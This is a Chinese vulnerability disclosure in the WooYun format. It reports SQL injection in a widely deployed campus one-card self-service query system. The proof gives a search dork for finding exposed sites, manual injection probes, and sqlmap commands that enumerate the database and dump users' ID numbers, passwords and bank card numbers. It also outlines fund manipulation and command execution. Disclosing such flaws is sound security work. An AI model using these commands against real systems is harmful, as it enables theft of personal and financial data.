某一卡通系统SQL注入导致的诸多安全问题

漏洞概要

缺陷编号:WooYun-2014-054870

漏洞标题:某一卡通系统SQL注入导致的诸多安全问题

相关厂商:cncert国家互联网应急中心

漏洞作者:Xcode

提交时间:2014-03-30 22:47

公开时间:2014-05-12 22:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

Tags标签:

漏洞详情

披露状态:

2014-03-30: 细节已通知厂商并且等待厂商处理中
2014-04-02: 厂商已经确认,细节仅向厂商公开
2014-04-12: 细节向核心白帽子及相关领域专家公开
2014-04-22: 细节向普通白帽子公开
2014-05-02: 细节向实习白帽子公开
2014-05-12: 细节向公众公开

简要描述:

SQL注入,可以导致用户信息泄漏,可以随意增改信息,甚至服务器沦陷。

详细说明:

受影响产品:郑州新开普电子技术有限公司一卡通自助查询管理系统产品漏洞:注入漏洞影响范围:由于很多高校或者公司都采用了这个一卡通系统,所以个人认为影响很大。虽然很多高校的一卡通系统放置于内网,但是同样存在这种危险性,亦不能忽视。本次漏洞验证以外网的一卡通系统为例。

漏洞证明:

漏洞验证:在google上随便寻找了一个inurl:Index_ShowNews.aspx?NewsCodeinurl: /selfsearch/Index_ShowNews.aspx?NewsCode手工测试了下:and 1=1and 1=2and (select count (*) from dual)>0—存在注入点,且数据库为oracle932 order by 7-1 union all select all null,null,null,null,null,null,null from dual--支持union注入用sqlmap跑一下:sqlmap -u "**.**.**.**/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent --is-dbacurrent user is DBA: Truesqlmap -u "**.**.**.**/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent –passwordsdatabase management system users password hashes:[*] CCENSE [1]:password hash: 0EFA906BA34A9B3Eclear-text password: CCENSEsqlmap -u "**.**.**.**/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent --current-dbcurrent schema (equivalent to database on Oracle): 'CCENSE'sqlmap -u "**.**.**.**/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent –D CCENSE –tablesDatabase: CCENSE+--------------------------------+| ALERT_EMP_PURVIEW || ALERT_LEVEL |======>等等<=======| ALERT_LOG || ZC_XY || ZHEJIANG_GET_MAX |+--------------------------------+sqlmap -u "**.**.**.**/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent -D CCENSE -T BASE_CUSTOMERS –columnsDatabase: CCENSETable: BASE_CUSTOMERS[50 columns]+-------------------+----------+| Column | Type |+-------------------+----------+| BANKCARDNO | VARCHAR2 || CARDFUNC | NUMBER || CARDNO | NUMBER || CARDSFID | NUMBER || CARDSN | NUMBER || CARDTYPE | NUMBER || CERTIFICATEID | NUMBER || COUNTRY | VARCHAR2 || CURUSEDATE | DATE || CUSTDEPT | VARCHAR2 || CUSTOMERID | NUMBER || EMPCODE | VARCHAR2 || IDCARDNO | VARCHAR2 || IFPUSHFARE | VARCHAR2 || ISBIGFARECARD | NUMBER || JPDM | VARCHAR2 || MEDICALTYPE | NUMBER || NAME | VARCHAR2 || NATION | VARCHAR2 || NOUSEDATE | DATE || ODDFARE | NUMBER || ODDFAREACC | NUMBER || OPCOUNT | NUMBER || OPENDT | DATE || OUTID | VARCHAR2 || PWD | VARCHAR2 || QUERYPWD | VARCHAR2 || REGSTARTYEAR | NUMBER || SCANCODE | VARCHAR2 || SCARDSNR | VARCHAR2 || SERVERID | NUMBER || SEX | NUMBER || STATUS | NUMBER || SUBODDFARE | NUMBER || SUBODDFAREACC | NUMBER || SUMADDFARE | NUMBER || SUMCONSUMEFARE | NUMBER || SUMDAIFA | NUMBER || SUMDISCOUNT | NUMBER || SUMFARE | NUMBER || SUMLOAD | NUMBER || SUMMAINCONSUME | NUMBER || SUMMNGFARE | NUMBER || SUMQC | NUMBER || SUMSAVE | NUMBER || SUMSUBSIDY | NUMBER || SUMSUBSIDYCONSUME | NUMBER || SUMSUBSIDYLOAD | NUMBER || SUMSXF | NUMBER || VER | NUMBER |+-------------------+----------+sqlmap -u "**.**.**.**/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent -D CCENSE -T BASE_CUSTOMERS -C "OUTID,IDCARDNO,SEX,PWD,NAME,QUERYPWD,BANKCARDNO" --dump --start 1 --stop 2

至此,SQL注入可以导致用户个人信息泄漏,其中包括但不仅限于学号,性别,照片,身份证号,绑定的银行卡号,一卡通密码等。但是这还仅仅是信息泄漏,因为此时数据库的权限是dba,我们做到以下这些事:1.通过查询id,可以获取某个人的所有信息,包括历史账单等。2.通过模拟分析一卡通的充值流程,随意向任意账户添加任意金额。3.通过高权限的oracle,直接通过java存储过程来执行命令,getshell等,直接拿下服务器权限。

修复方案:

修正sql注入问题,做好系统防护,数据库权限要分配合理。

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-04-0220:41

厂商回复:

最新状态:

暂无

评价